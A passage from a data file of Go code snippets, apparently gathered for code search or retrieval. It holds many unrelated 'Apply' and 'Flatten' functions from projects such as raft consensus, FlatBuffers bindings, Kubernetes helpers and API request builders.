not get altered.\n\terr = deep.Copy(x, ry.Interface())\n\tif err != nil {\n\t\treturn ErrCouldNotCopy\n\t}\n\n\tfor _, p := range patches {\n\t\tpath := strings.Trim(p.Path, \"/\")\n\t\terr := rapply(path, &p, ry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\trx.Elem().Set(ry.Elem())\n\treturn nil\n}", "func (this *ObjectInnerValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (r ApiGetHyperflexServerFirmwareVersionEntryListRequest) Apply(apply string) ApiGetHyperflexServerFirmwareVersionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (*Base) Apply(p ASTPass, node *ast.Apply, ctx Context) {\n\tp.Visit(p, &node.Target, ctx)\n\tp.Arguments(p, &node.FodderLeft, &node.Arguments, &node.FodderRight, ctx)\n\tif node.TailStrict {\n\t\tp.Fodder(p, &node.TailStrictFodder, ctx)\n\t}\n}", "func (tree *AcceptTree) flattenToTarget(target *[]*AcceptEntry) {\n\tif tree.Value != nil {\n\t\tif tree.Left != nil {\n\t\t\ttree.Left.flattenToTarget(target)\n\t\t}\n\t\t*target = append(*target, tree.Value)\n\t\tif tree.Right != nil {\n\t\t\ttree.Right.flattenToTarget(target)\n\t\t}\n\t}\n}", "func (args Args) AddFlat(v interface{}) Args {\n\trv := reflect.ValueOf(v)\n\tswitch rv.Kind() {\n\tcase reflect.Struct:\n\t\targs = flattenStruct(args, rv)\n\tcase reflect.Slice:\n\t\tfor i := 0; i < rv.Len(); i++ {\n\t\t\targs = append(args, rv.Index(i).Interface())\n\t\t}\n\tcase reflect.Map:\n\t\tfor _, k := range rv.MapKeys() {\n\t\t\targs = append(args, k.Interface(), rv.MapIndex(k).Interface())\n\t\t}\n\tcase reflect.Ptr:\n\t\tif rv.Type().Elem().Kind() == reflect.Struct {\n\t\t\tif !rv.IsNil() {\n\t\t\t\targs = flattenStruct(args, rv.Elem())\n\t\t\t}\n\t\t} else {\n\t\t\targs = append(args, v)\n\t\t}\n\tdefault:\n\t\targs = append(args, v)\n\t}\n\treturn args\n}", "func Unflatten(flat map[string]interface{}) (nested map[string]interface{}, err error) {\n\tnested = make(map[string]interface{})\n\n\tfor k, v := range flat {\n\t\ttemp := uf(k, v).(map[string]interface{})\n\t\terr = mergo.Merge(&nested, temp)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\twalk(reflect.ValueOf(nested))\n\n\treturn\n}", "func Flatten(toFlatten interface{}) (result interface{}) {\n\ttemp := toFlatten.(map[string]interface{})\n\tif len(temp) > 1 {\n\t\tpanic(\"ndgo.Flatten:: flattened json has more than 1 item, operation not supported\")\n\t}\n\tfor _, item := range temp {\n\t\treturn item\n\t}\n\treturn nil\n}", "func (r ApiGetHyperflexVmRestoreOperationListRequest) Apply(apply string) ApiGetHyperflexVmRestoreOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (reading_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*Reading)\n\tvar offsetValueName = fbutils.CreateStringOffset(fbb, obj.ValueName)\n\tvar offsetValueString = fbutils.CreateStringOffset(fbb, obj.ValueString)\n\n\tvar rIdEventId = obj.EventId\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(9)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\tfbutils.SetInt64Slot(fbb, 1, obj.Date)\n\tfbutils.SetUint64Slot(fbb, 2, rIdEventId)\n\tfbutils.SetUOffsetTSlot(fbb, 3, offsetValueName)\n\tfbutils.SetUOffsetTSlot(fbb, 4, offsetValueString)\n\tfbutils.SetInt64Slot(fbb, 5, obj.ValueInteger)\n\tfbutils.SetFloat64Slot(fbb, 6, obj.ValueFloating)\n\tfbutils.SetInt32Slot(fbb, 7, obj.ValueInt32)\n\tfbutils.SetFloat32Slot(fbb, 8, obj.ValueFloating32)\n\treturn nil\n}", "func Flatten(entries []*Entry) [][]string {\n\tnames := make([]string, 0, len(entries))\n\texecs := make([]string, 0, len(entries))\n\n\tfor _, v := range entries {\n\t\tnames = append(names, v.Name)\n\n\t\tswitch s := strings.Split(v.Exec, \" \"); {\n\t\tcase !strings.HasPrefix(s[0], \"/\") && len(s) == 1 && len(v.Name) > 1:\n\t\t\texecs = append(execs, TrimRight(v.Exec))\n\t\tcase !strings.HasPrefix(s[0], \"/\") && len(s[0]) > 2:\n\t\t\texecs = append(execs, TrimRight(s[0]))\n\t\tdefault:\n\t\t\texecs = append(execs, \"\")\n\t\t}\n\t}\n\n\treturn [][]string{names, execs}\n}", "func (r ApiGetBulkExportedItemListRequest) Apply(apply string) ApiGetBulkExportedItemListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (m *TMap) Apply(args ...interface{}) interface{} {\n\tkey := args[0]\n\treturn m.At(key)\n}", "func Apply(fn Term, args ...Term) Term {\n\tout := fn\n\tfor _, arg := range args {\n\t\tout = App{Fn: out, Arg: arg}\n\t}\n\treturn out\n}", "func (f *Flattener) Flatten(input interface{}, flattened *bson.D) error {\n\tf.flattened = flattened\n\tif f.Separator == nil {\n\t\tf.Separator = &defaultSeparator\n\t}\n\treturn f.flatten(input, \"\")\n}", "func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\n\treturn f(ctx, data)\n}", "func (s Schema) Apply(data map[string]interface{}, opts ...ApplyOption) (common.MapStr, error) {\n\tevent, errors := s.ApplyTo(common.MapStr{}, data, opts...)\n\treturn event, errors.Err()\n}", "func (r ApiGetHyperflexVmImportOperationListRequest) Apply(apply string) ApiGetHyperflexVmImportOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (s *Storage) Flatten(ctx context.Context, ids []ID, cb func(id ID) error) error {\n\tfor _, id := range ids {\n\t\tmd, err := s.store.Get(ctx, id)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tswitch x := md.Value.(type) {\n\t\tcase *Metadata_Primitive:\n\t\t\tif err := cb(id); err != nil {\n\t\t\t\tif errors.Is(err, errutil.ErrBreak) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase *Metadata_Composite:\n\t\t\tids, err := x.Composite.PointsTo()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := s.Flatten(ctx, ids, cb); err != nil {\n\t\t\t\tif errors.Is(err, errutil.ErrBreak) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\t// TODO: should it be?\n\t\t\treturn errors.Errorf(\"Flatten is not defined for empty filesets\")\n\t\t}\n\t}\n\treturn nil\n}", "func (cfg *Config) flatten1(t xsd.Type, push func(xsd.Type)) xsd.Type {\n\tswitch t := t.(type) {\n\tcase *xsd.SimpleType:\n\t\tvar (\n\t\t\tchain []xsd.Type\n\t\t\tbase, builtin xsd.Type\n\t\t\tok bool\n\t\t)\n\t\t// TODO: handle list/union types\n\t\tfor base = xsd.Base(t); base != nil; base = xsd.Base(base) {\n\t\t\tif builtin, ok = base.(xsd.Builtin); ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tchain = append(chain, base)\n\t\t}\n\t\tfor _, v := range chain {\n\t\t\tif v, ok := v.(*xsd.SimpleType); ok {\n\t\t\t\tv.Base = builtin\n\t\t\t\tpush(v)\n\t\t\t}\n\t\t}\n\t\tt.Base = builtin\n\t\treturn t\n\tcase *xsd.ComplexType:\n\t\t// We can \"unpack\" a struct if it is extending a simple\n\t\t// or built-in type and we are ignoring all of its attributes.\n\t\tswitch t.Base.(type) {\n\t\tcase xsd.Builtin, *xsd.SimpleType:\n\t\t\tif b, ok := t.Base.(xsd.Builtin); ok && b == xsd.AnyType {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tattributes, _ := cfg.filterFields(t)\n\t\t\tif len(attributes) == 0 {\n\t\t\t\tcfg.debugf(\"complexType %s extends simpleType %s, but all attributes are filtered. unpacking.\",\n\t\t\t\t\tt.Name.Local, xsd.XMLName(t.Base))\n\t\t\t\tswitch b := t.Base.(type) {\n\t\t\t\tcase xsd.Builtin:\n\t\t\t\t\treturn b\n\t\t\t\tcase *xsd.SimpleType:\n\t\t\t\t\treturn cfg.flatten1(t.Base, push)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// We can flatten a struct field if its type does not\n\t\t// need additional methods for unmarshalling.\n\t\tfor i, el := range t.Elements {\n\t\t\tel.Type = cfg.flatten1(el.Type, push)\n\t\t\tif b, ok := el.Type.(*xsd.SimpleType); ok {\n\t\t\t\tif !b.List && len(b.Union) == 0 {\n\t\t\t\t\tel.Type = xsd.Base(el.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t\tt.Elements[i] = el\n\t\t}\n\t\tfor i, attr := range t.Attributes {\n\t\t\tattr.Type = cfg.flatten1(attr.Type, push)\n\t\t\tif b, ok := attr.Type.(*xsd.SimpleType); ok {\n\t\t\t\tif !b.List && len(b.Union) == 0 {\n\t\t\t\t\tattr.Type = xsd.Base(attr.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t\tt.Attributes[i] = attr\n\t\t}\n\t\treturn t\n\tcase xsd.Builtin:\n\t\t// There are a few built-ins that do not map directly to Go types.\n\t\t// for these, we will declare them in the Go source.\n\t\tswitch t {\n\t\tcase xsd.ENTITIES, xsd.IDREFS, xsd.NMTOKENS:\n\t\t\tpush(t)\n\t\tcase xsd.Base64Binary, xsd.HexBinary:\n\t\t\tpush(t)\n\t\tcase xsd.Date, xsd.Time, xsd.DateTime:\n\t\t\tpush(t)\n\t\tcase xsd.GDay, xsd.GMonth, xsd.GMonthDay, xsd.GYear, xsd.GYearMonth:\n\t\t\tpush(t)\n\t\t}\n\t\treturn t\n\t}\n\tpanic(fmt.Sprintf(\"unexpected %T\", t))\n}", "func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func (u *updater) Apply(ch *client.Change) error {\n\tfmt.Printf(\"Incoming change: %v\\n\", ch.TypeURL)\n\n\tfor i, o := range ch.Objects {\n\t\tfmt.Printf(\"%s[%d]\\n\", ch.TypeURL, i)\n\n\t\tb, err := json.MarshalIndent(o, \" \", \" \")\n\t\tif err != nil {\n\t\t\tfmt.Printf(\" Marshalling error: %v\", err)\n\t\t} else {\n\t\t\tfmt.Printf(\"%s\\n\", string(b))\n\t\t}\n\n\t\tfmt.Printf(\"===============\\n\")\n\t}\n\treturn nil\n}", "func (r ApiGetBulkResultListRequest) Apply(apply string) ApiGetBulkResultListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (this *ObjectInnerPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (testStringIdEntity_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(1)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\treturn nil\n}", "func flattenStoredInfoTypeDictionary(c *Client, i interface{}, res *StoredInfoType) *StoredInfoTypeDictionary {\n\tm, ok := i.(map[string]interface{})\n\tif !ok {\n\t\treturn nil\n\t}\n\n\tr := &StoredInfoTypeDictionary{}\n\n\tif dcl.IsEmptyValueIndirect(i) {\n\t\treturn EmptyStoredInfoTypeDictionary\n\t}\n\tr.WordList = flattenStoredInfoTypeDictionaryWordList(c, m[\"wordList\"], res)\n\tr.CloudStoragePath = flattenStoredInfoTypeDictionaryCloudStoragePath(c, m[\"cloudStoragePath\"], res)\n\n\treturn r\n}", "func Unflatten(m map[string]interface{}, tf TokenizerFunc) map[string]interface{} {\n\ttree := make(map[string]interface{})\n\n\tc := make(chan map[string]interface{})\n\n\tgo mapify(m, c, tf)\n\n\tfor n := range c {\n\t\tmergo.Merge(&tree, n)\n\t}\n\n\treturn tree\n}", "func (dump *Dump) EctractAndApplyUpdateEntryType(record *Content, pack *PackedContent) {\n\tdump.RemoveFromEntryTypeIndex(pack.EntryTypeString, pack.ID)\n\n\tpack.EntryType = record.EntryType\n\tpack.EntryTypeString = entryTypeKey(record.EntryType, record.Decision.Org)\n\n\tdump.InsertToEntryTypeIndex(pack.EntryTypeString, pack.ID)\n}", "func (h *provider) Apply(ctx wfContext.Context, v *value.Value, act types.Action) error {\n\tvar workload = new(unstructured.Unstructured)\n\tif err := v.UnmarshalTo(workload); err != nil {\n\t\treturn err\n\t}\n\n\tdeployCtx := context.Background()\n\tif workload.GetNamespace() == \"\" {\n\t\tworkload.SetNamespace(\"default\")\n\t}\n\tif err := h.deploy.Apply(deployCtx, workload); err != nil {\n\t\treturn err\n\t}\n\treturn v.FillObject(workload.Object)\n}", "func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}", "func (s *Server) raftApply(t structs.MessageType, msg interface{}) (interface{}, error) {\n\tbuf, err := structs.Encode(t, msg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to encode request: %v\", err)\n\t}\n\n\t// Warn if the command is very large\n\tif n := len(buf); n > raftWarnSize {\n\t\ts.logger.Printf(\"[WARN] consul: Attempting to apply large raft entry (%d bytes)\", n)\n\t}\n\n\tfuture := s.raft.Apply(buf, enqueueLimit)\n\tif err := future.Error(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn future.Response(), nil\n}", "func (r ApiGetHyperflexAppCatalogListRequest) Apply(apply string) ApiGetHyperflexAppCatalogListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (l *Layer) Apply(in autofunc.Result) autofunc.Result {\n\tif l.DoneTraining {\n\t\tif len(in.Output())%l.InputCount != 0 {\n\t\t\tpanic(\"invalid input size\")\n\t\t}\n\t\tn := len(in.Output()) / l.InputCount\n\n\t\tmeanVar := &autofunc.Variable{Vector: l.FinalMean}\n\t\tvarVar := &autofunc.Variable{Vector: l.FinalVariance}\n\t\tnegMean := autofunc.Repeat(autofunc.Scale(meanVar, -1), n)\n\t\tinvStd := autofunc.Repeat(autofunc.Pow(autofunc.AddScaler(varVar,\n\t\t\tl.stabilizer()), -0.5), n)\n\t\tscales := autofunc.Repeat(l.Scales, n)\n\t\tbiases := autofunc.Repeat(l.Biases, n)\n\n\t\tnormalized := autofunc.Mul(autofunc.Add(in, negMean), invStd)\n\t\treturn autofunc.Add(autofunc.Mul(normalized, scales), biases)\n\t}\n\treturn l.Batch(in, 1)\n}", "func (r ApiGetBulkSubRequestObjListRequest) Apply(apply string) ApiGetBulkSubRequestObjListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexVmSnapshotInfoListRequest) Apply(apply string) ApiGetHyperflexVmSnapshotInfoListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func Apply(root Node, apply func(n Node) (Node, bool)) (Node, bool) {\n\tif root == nil {\n\t\treturn nil, false\n\t}\n\tvar changed bool\n\tswitch n := root.(type) {\n\tcase Object:\n\t\tvar nn Object\n\t\tif applySort {\n\t\t\tfor _, k := range n.Keys() {\n\t\t\t\tv := n[k]\n\t\t\t\tif nv, ok := Apply(v, apply); ok {\n\t\t\t\t\tif nn == nil {\n\t\t\t\t\t\tnn = n.CloneObject()\n\t\t\t\t\t}\n\t\t\t\t\tnn[k] = nv\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor k, v := range n {\n\t\t\t\tif nv, ok := Apply(v, apply); ok {\n\t\t\t\t\tif nn == nil {\n\t\t\t\t\t\tnn = n.CloneObject()\n\t\t\t\t\t}\n\t\t\t\t\tnn[k] = nv\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif nn != nil {\n\t\t\tchanged = true\n\t\t\troot = nn\n\t\t}\n\tcase Array:\n\t\tvar nn Array\n\t\tfor i, v := range n {\n\t\t\tif nv, ok := Apply(v, apply); ok {\n\t\t\t\tif nn == nil {\n\t\t\t\t\tnn = n.CloneList()\n\t\t\t\t}\n\t\t\t\tnn[i] = nv\n\t\t\t}\n\t\t}\n\t\tif nn != nil {\n\t\t\tchanged = true\n\t\t\troot = nn\n\t\t}\n\t}\n\tnn, changed2 := apply(root)\n\treturn nn, changed || changed2\n}", "func (r *ResUnstructured) Apply() error {\n\t_, err := r.getUnstructured()\n\texists, err := Exists(err)\n\tif exists || err != nil {\n\t\treturn err\n\t}\n\n\t// if not exists and no error, then create\n\tr.Log.Info(\"Created a new resource\")\n\treturn r.Client.Create(context.TODO(), r.Object)\n}", "func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}", "func (r ApiGetHyperflexConfigResultListRequest) Apply(apply string) ApiGetHyperflexConfigResultListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetBulkMoDeepClonerListRequest) Apply(apply string) ApiGetBulkMoDeepClonerListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (c *JoinCommand) Apply(context raft.Context) (interface{}, error) {\n\tindex, err := applyJoin(c, context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := make([]byte, 8)\n\tbinary.PutUvarint(b, index)\n\treturn b, nil\n}", "func (b *BaseImpl) Flatten() {\n\n\tnbytes := make([]byte, b.LenBuf())\n\n\tcopy(nbytes, b.bytes)\n\tfor i := range b.Diffs {\n\t\tcopy(nbytes[b.Diffs[i].Offset:], b.Diffs[i].bytes)\n\t}\n\tb.bytes = nbytes\n\tb.Diffs = []Diff{}\n\n}", "func (r ApiGetHyperflexTargetListRequest) Apply(apply string) ApiGetHyperflexTargetListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func flatten(entry logEntry) (string, error) {\n\tvar msgValue string\n\tvar errorValue error\n\tif len(entry.Values)%2 == 1 {\n\t\treturn \"\", errors.New(\"log entry cannot have odd number off keyAndValues\")\n\t}\n\n\tkeys := make([]string, 0, len(entry.Values)/2)\n\tvalues := make(map[string]interface{}, len(entry.Values)/2)\n\tfor i := 0; i < len(entry.Values); i += 2 {\n\t\tk, ok := entry.Values[i].(string)\n\t\tif !ok {\n\t\t\tpanic(fmt.Sprintf(\"key is not a string: %s\", entry.Values[i]))\n\t\t}\n\t\tvar v interface{}\n\t\tif i+1 < len(entry.Values) {\n\t\t\tv = entry.Values[i+1]\n\t\t}\n\t\tswitch k {\n\t\tcase \"msg\":\n\t\t\tmsgValue, ok = v.(string)\n\t\t\tif !ok {\n\t\t\t\tpanic(fmt.Sprintf(\"the msg value is not of type string: %s\", v))\n\t\t\t}\n\t\tcase \"error\":\n\t\t\terrorValue, ok = v.(error)\n\t\t\tif !ok {\n\t\t\t\tpanic(fmt.Sprintf(\"the error value is not of type error: %s\", v))\n\t\t\t}\n\t\tdefault:\n\t\t\tif _, ok := values[k]; !ok {\n\t\t\t\tkeys = append(keys, k)\n\t\t\t}\n\t\t\tvalues[k] = v\n\t\t}\n\t}\n\tstr := \"\"\n\tif entry.Prefix != \"\" {\n\t\tstr += fmt.Sprintf(\"[%s] \", entry.Prefix)\n\t}\n\tstr += msgValue\n\tif errorValue != nil {\n\t\tif msgValue != \"\" {\n\t\t\tstr += \": \"\n\t\t}\n\t\tstr += errorValue.Error()\n\t}\n\tfor _, k := range keys {\n\t\tprettyValue, err := pretty(values[k])\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tstr += fmt.Sprintf(\" %s=%s\", k, prettyValue)\n\t}\n\treturn str, nil\n}", "func (r ApiGetHyperflexClusterListRequest) Apply(apply string) ApiGetHyperflexClusterListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (a ApplyTo) Flatten() []schema.GroupVersionKind {\n\tvar result []schema.GroupVersionKind\n\tfor _, group := range a.Groups {\n\t\tfor _, version := range a.Versions {\n\t\t\tfor _, kind := range a.Kinds {\n\t\t\t\tgvk := schema.GroupVersionKind{\n\t\t\t\t\tGroup: group,\n\t\t\t\t\tVersion: version,\n\t\t\t\t\tKind: kind,\n\t\t\t\t}\n\t\t\t\tresult = append(result, gvk)\n\t\t\t}\n\t\t}\n\t}\n\treturn result\n}", "func (event_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*Event)\n\tvar offsetDevice = fbutils.CreateStringOffset(fbb, obj.Device)\n\tvar offsetUid = fbutils.CreateStringOffset(fbb, obj.Uid)\n\tvar offsetPicture = fbutils.CreateByteVectorOffset(fbb, obj.Picture)\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(5)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\tfbutils.SetUOffsetTSlot(fbb, 3, offsetUid)\n\tfbutils.SetUOffsetTSlot(fbb, 1, offsetDevice)\n\tfbutils.SetInt64Slot(fbb, 2, obj.Date)\n\tfbutils.SetUOffsetTSlot(fbb, 4, offsetPicture)\n\treturn nil\n}", "func Flatten(it Item) Item {\n\tif it.IsCollection() {\n\t\tif c, ok := it.(CollectionInterface); ok {\n\t\t\tit = FlattenItemCollection(c.Collection())\n\t\t}\n\t}\n\tif it != nil && len(it.GetLink()) > 0 {\n\t\treturn it.GetLink()\n\t}\n\treturn it\n}", "func (r *raftState) apply(b []byte) error {\n\t// Apply to raft log.\n\tf := r.raft.Apply(b, 0)\n\tif err := f.Error(); err != nil {\n\t\treturn err\n\t}\n\n\t// Return response if it's an error.\n\t// No other non-nil objects should be returned.\n\tresp := f.Response()\n\tif err, ok := resp.(error); ok {\n\t\treturn err\n\t}\n\tif resp != nil {\n\t\tpanic(fmt.Sprintf(\"unexpected response: %#v\", resp))\n\t}\n\n\treturn nil\n}", "func (r ApiGetHyperflexNodeListRequest) Apply(apply string) ApiGetHyperflexNodeListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (testEntityInline_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*TestEntityInline)\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(3)\n\tfbutils.SetInt64Slot(fbb, 0, obj.BaseWithDate.Date)\n\tfbutils.SetFloat64Slot(fbb, 1, obj.BaseWithValue.Value)\n\tfbutils.SetUint64Slot(fbb, 2, id)\n\treturn nil\n}", "func (testEntityRelated_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*TestEntityRelated)\n\tvar offsetName = fbutils.CreateStringOffset(fbb, obj.Name)\n\n\tvar rIdNext uint64\n\tif rel := obj.Next; rel != nil {\n\t\tif rId, err := EntityByValueBinding.GetId(rel); err != nil {\n\t\t\treturn err\n\t\t} else {\n\t\t\trIdNext = rId\n\t\t}\n\t}\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(3)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\tfbutils.SetUOffsetTSlot(fbb, 1, offsetName)\n\tfbutils.SetUint64Slot(fbb, 2, rIdNext)\n\treturn nil\n}", "func flatten(centerPosition, texelPosition mgl32.Vec2, texel *terraindto.TerrainTexel, centerHeight, amount, regionSize float32) {\n\theightDifference := texel.Height - centerHeight\n\ttexel.Height = texel.Height - heightDifference*amount\n\ttexel.Normalize()\n}", "func (a Args) ApplyTo(i interface{}) (err error) {\n\tif len(a) > 0 {\n\t\tvar b []byte\n\t\tb, err = json.Marshal(a)\n\t\tif err == nil {\n\t\t\terr = json.Unmarshal(b, i)\n\t\t}\n\t}\n\n\treturn\n}", "func (r ApiGetHyperflexDatastoreStatisticListRequest) Apply(apply string) ApiGetHyperflexDatastoreStatisticListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func Flatten(nested map[string]interface{}) (flatmap map[string]interface{}, err error) {\n\treturn flatten(\"\", nested)\n}", "func (r ApiGetBulkExportListRequest) Apply(apply string) ApiGetBulkExportListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (k *kubectlContext) Apply(args ...string) error {\n\tout, err := k.do(append([]string{\"apply\"}, args...)...)\n\tk.t.Log(string(out))\n\treturn err\n}", "func (f *Flattener) Flattened(input interface{}) (bson.D, error) {\n\tvar flattened bson.D\n\terr := f.Flatten(input, &flattened)\n\treturn flattened, err\n}", "func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}", "func (r *localRaft) apply(b []byte) error {\n\t// Apply to raft log.\n\tf := r.raft.Apply(b, 0)\n\tif err := f.Error(); err != nil {\n\t\treturn err\n\t}\n\n\t// Return response if it's an error.\n\t// No other non-nil objects should be returned.\n\tresp := f.Response()\n\tif err, ok := resp.(error); ok {\n\t\treturn lookupError(err)\n\t}\n\tassert(resp == nil, \"unexpected response: %#v\", resp)\n\n\treturn nil\n}", "func flattenTocEntries(toc []*tocEntry) []*tocEntry {\n\tvar res []*tocEntry\n\tfor _, entry := range toc {\n\t\tif len(entry.Section) != 0 {\n\t\t\tres = append(res, flattenTocEntries(entry.Section)...)\n\t\t} else {\n\t\t\tres = append(res, entry)\n\t\t}\n\t}\n\treturn res\n}", "func Apply(data []byte, namespace string, args ...string) (err error) {\n\tapply := []string{\"apply\", \"-n\", namespace, \"-f\", \"-\"}\n\t_, err = pipeToKubectl(data, append(apply, args...)...)\n\treturn\n}", "func flattenStoredInfoTypeDictionaryWordList(c *Client, i interface{}, res *StoredInfoType) *StoredInfoTypeDictionaryWordList {\n\tm, ok := i.(map[string]interface{})\n\tif !ok {\n\t\treturn nil\n\t}\n\n\tr := &StoredInfoTypeDictionaryWordList{}\n\n\tif dcl.IsEmptyValueIndirect(i) {\n\t\treturn EmptyStoredInfoTypeDictionaryWordList\n\t}\n\tr.Words = dcl.FlattenStringSlice(m[\"words\"])\n\n\treturn r\n}", "func Apply(argv0 string, args ...string) error {\n\tfs := flag.NewFlagSet(argv0, flag.ContinueOnError)\n\tfs.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, \"Usage: %s\\n\", argv0)\n\t\tfmt.Fprintf(os.Stderr, \"Apply all patches with enough signatures to code tree.\\n\")\n\t\tfs.PrintDefaults()\n\t}\n\tfilename := fs.String(\"f\", \"\", \"Distribution file\")\n\theadStr := fs.String(\"head\", \"\", \"Check that the hash chain contains the given head\")\n\tverbose := fs.Bool(\"v\", false, \"Be verbose\")\n\tif err := fs.Parse(args); err != nil {\n\t\treturn err\n\t}\n\tif *verbose {\n\t\tlog.Std = log.NewStd(os.Stdout)\n\t}\n\tif fs.NArg() != 0 {\n\t\tfs.Usage()\n\t\treturn flag.ErrHelp\n\t}\n\tvar head *[32]byte\n\tif *headStr != \"\" {\n\t\th, err := hex.Decode(*headStr, 32)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar ha [32]byte\n\t\tcopy(ha[:], h)\n\t\thead = &ha\n\t}\n\tif *filename != \"\" {\n\t\tif err := applyDist(*filename, head); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tc, err := hashchain.ReadFile(def.HashchainFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := c.Close(); err != nil {\n\t\treturn err\n\t}\n\treturn apply(c, head)\n}", "func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, 